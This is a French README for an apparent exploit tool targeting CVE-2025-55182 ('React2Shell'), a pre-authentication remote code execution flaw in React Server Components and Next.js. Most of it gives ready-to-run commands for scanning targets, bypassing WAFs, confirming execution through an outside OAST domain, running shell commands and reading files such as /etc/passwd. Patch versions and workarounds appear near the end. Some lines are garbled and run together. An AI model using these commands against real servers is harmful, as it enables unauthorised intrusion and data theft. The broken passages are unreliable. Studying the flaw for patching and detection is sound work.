
Exploit RCE pré-authentification pour CVE-2025-55182 (React2Shell) ciblant les React Server Components. Fonctionnalités : scanning, vérification OAST, contournement WAF, exécution de commandes et lecture de fichiers.
Exécution de code à distance (RCE) sans authentification dans les composants serveur React (RSC), Next.js et les frameworks associés.
CVE-2025-55182 (également connue sous le nom de React2Shell) est une vulnérabilité critique de RCE sans authentification affectant l’écosystème des composants serveur React (RSC). Un attaquant non authentifié peut compromettre complètement un serveur vulnérable avec une seule requête HTTP POST malveillante.
Les composants serveur React utilisent un format de sérialisation personnalisé appelé React Flight pour sérialiser les références de fonctions et les appels de modules. La vulnérabilité réside dans le mécanisme de décodage des charges utiles qui traite les requêtes POST entrantes vers les points de terminaison RSC.
Lorsque le serveur reçoit une charge utile React Flight, il désérialise le contenu sans validation adéquate, en se fiant aux champs $$typeof et aux résolutions de références de modules contrôlés par l’attaquant. Cela permet à un attaquant de :
child_process, fs, net)$F (fonction)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
id, whoami)./etc/passwd, package.json).git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt
Utilisation
Scan de base
python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json
Vérifier RCE avec OAST
python3 poc.py -t https://target.com -m verify --oast your.oast.domain
Test complet de contournement
python3 poc.py -t https://target.com -m bypass --verbose
Exécuter des commandes
python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20
Lire des fichiers
python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"
Utiliser un proxy (ex. Burp Suite)
python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080
CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
├── __init__.py
├── payloads.py
├── scanner.py
├── bypass.py
└── rce.py
Correctif (Recommandé)
npm install [email protected]
npm install [email protected] [email protected]
Solutions de contournement temporaires
· Désactiver les fonctions serveur ("use server") · Règles WAF pour bloquer Content-Type: text/x-component · Segmentation réseau pour les points de terminaison RSC
· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182
Avertissement : Réservé aux tests de sécurité autorisés.
Auteur : SentinelX · https://t.me/SentinelXsecurity
| Paquet | Vulnérable | Corrigé |
|---|
react-server-dom-webpack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-parcel | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-turbopack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
next (13.x) | 13.3.0 – 13.5.x | ≥ 14.2.35 |
next (14.x) | 14.0.0 – 14.2.34 | ≥ 14.2.35 |
next (15.x) | 15.0.0+ (voir correctif) | versions corrigées |